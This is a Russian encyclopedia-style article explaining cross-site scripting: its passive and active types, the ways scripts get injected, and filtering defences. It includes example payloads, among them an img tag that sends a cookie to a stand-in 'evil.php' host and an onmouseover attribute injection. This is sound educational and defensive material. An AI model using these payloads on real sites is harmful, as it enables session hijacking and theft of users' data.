Межсайтовый скриптинг
XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе. XSS возникает, когда в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера они используют уязвимый сервер в качестве средства атаки на клиента.
Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».
Из статистических данных на 2012 год XSS составляют 26 % и занимают первое место среди остальных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.
Содержание |
[править] Классификация
| В этом разделе не хватает ссылок на источники информации.
Информация должна быть проверяема, иначе она может быть поставлена под сомнение и удалена.
Вы можете отредактировать эту статью, добавив ссылки на авторитетные источники. Эта отметка стоит на статье с 12 мая 2011 |
[править] По механизму исполнения атаки
Условно XSS можно разделить на активные и пассивные.
[править] Пассивные
Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке). Их также называют первым типом XSS.
[править] Активные
При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы зараженного сайта. Их также называют вторым типом XSS.
[править] Скриптинг через DOM
[править] По каналам внедрения скрипта
[править] Отсутствие фильтрации HTML-тегов в сообщениях пользователей
Некоторые форумы позволяют пользователю использовать HTML-теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги <script>, который будет отправлять злоумышленику HTTP-Cookie пользователей, открывших некоторую тему форума или незаметно открывать произвольную ссылку в контексте браузера пользователя.
Подробнее:
- Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий» посылает комментарий, содержащий тег
<script>. - Написанный злоумышленником скрипт имеет доступ к пользовательским HTTP-Cookie. Скрипт ворует их, отправляя их на другой сайт (например, создав тег
<img src="http://example.com/evil.php?cookie=1234">).
Для защиты от этого вида атак следует удалить все теги, кроме входящих в разрешённый список.
[править] Отсутствие фильтрации атрибутов и их значений разрешённых тегов
Данная уязвимость, в отличие от предыдущей, не специфична для html-форматирования сообщений пользователя. Наиболее ярким примером её является тег img. Например: подставив в качестве URL изображения http://example.com/img.png" onmouseover="javascript:DoSomething();, мы «протаскиваем» в тег пользовательский скрипт. В частности, подобная уязвимость была обнаружена в известном форумном движке phpBB в 2002 году.[2][3]
Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.
Для защиты от уязвимостей данного типа требуется жёсткая фильтрация, как названий атрибутов, так и их значений. Также следует запретить использование протоколов javascript: и data: во всех ссылках.
Такой же способ может быть использован путем вставки на странице изображения, сделанного через PHP-файл, содержащий как само изображение, так и вредоносный код.
[править] Подмена кодировки в заголовке страницы
Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег title расположен до тега meta и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ".[4][5]
Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей.
[править] Прочие
Возможно использование XSS атаки совместно с внедрением SQL-кода.
[править] Ссылки
[править] Примечания
- ↑ По данным securitylab.ru график, страница
- ↑ National Vulnerability Database (NVD) National Vulnerability Database (CVE-2002-0902) (англ.)
- ↑ Bugtraq: Cross Site Scripting Vulnerability in phpBB2’s [IMG] tag and remote avatar (англ.)
- ↑ http://old.antichat.ru/txt/utf7/ (недоступная ссылка с 11-07-11 (309 дней))
- ↑ UTF-7 XSS Cheat Sheet (англ.)
| Это заготовка статьи о программном обеспечении. Вы можете помочь проекту, исправив и дополнив её. |

